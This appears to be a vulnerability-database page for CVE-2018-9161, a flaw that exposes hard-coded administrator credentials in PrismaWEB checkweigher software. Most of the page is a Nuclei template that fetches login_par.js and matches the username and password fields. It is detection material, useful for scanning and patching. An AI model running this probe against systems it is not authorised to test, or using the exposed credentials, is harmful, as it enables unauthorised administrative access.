CVE-2018-9161: PrismaWEB - Credentials Disclosure

2025-08-01 PrismaWEB PoC Public

Description

PrismaWEB is susceptible to credential disclosure. The vulnerability exists due to the disclosure of hard-coded credentials allowing an attacker to effectively bypass authentication of PrismaWEB with administrator privileges. The credentials can be disclosed by simply navigating to the login_par.js JavaScript page that holds the username and password for the management interface that are being used via the Login() function in /scripts/functions_cookie.js script.

PoC

id: CVE-2018-9161

info:
  name: PrismaWEB - Credentials Disclosure
  author: gy741
  severity: critical
  description: PrismaWEB is susceptible to credential disclosure. The vulnerability exists due to the disclosure of hard-coded credentials allowing an attacker to effectively bypass authentication of PrismaWEB with administrator privileges. The credentials can be disclosed by simply navigating to the login_par.js JavaScript page that holds the username and password for the management interface that are being used via the Login() function in /scripts/functions_cookie.js script.
  impact: |
    An attacker could gain unauthorized access to the application and potentially compromise user accounts and sensitive data.
  remediation: |
    Ensure that sensitive credentials are properly protected and not exposed in the application's source code or configuration files.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5453.php
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9161
    - https://www.exploit-db.com/exploits/44276/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9161
    cwe-id: CWE-798
    epss-score: 0.56707
    epss-percentile: 0.99011
    cpe: cpe:2.3:a:prismaindustriale:checkweigher_prismaweb:1.21:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: prismaindustriale
    product: checkweigher_prismaweb
  tags: cve2018,cve,prismaweb,exposure,edb,prismaindustriale,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/scripts/login_par.js"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'txtChkUser'
          - 'txtChkPassword'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022015b2a3c5891f5249f707b3a5795442f60d1379dd393e7f2b7d9a11447d06a568022008fe138a1d283d3130e3b33c485609c9f3d0934917c4f9f66adf3617da7f55e2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities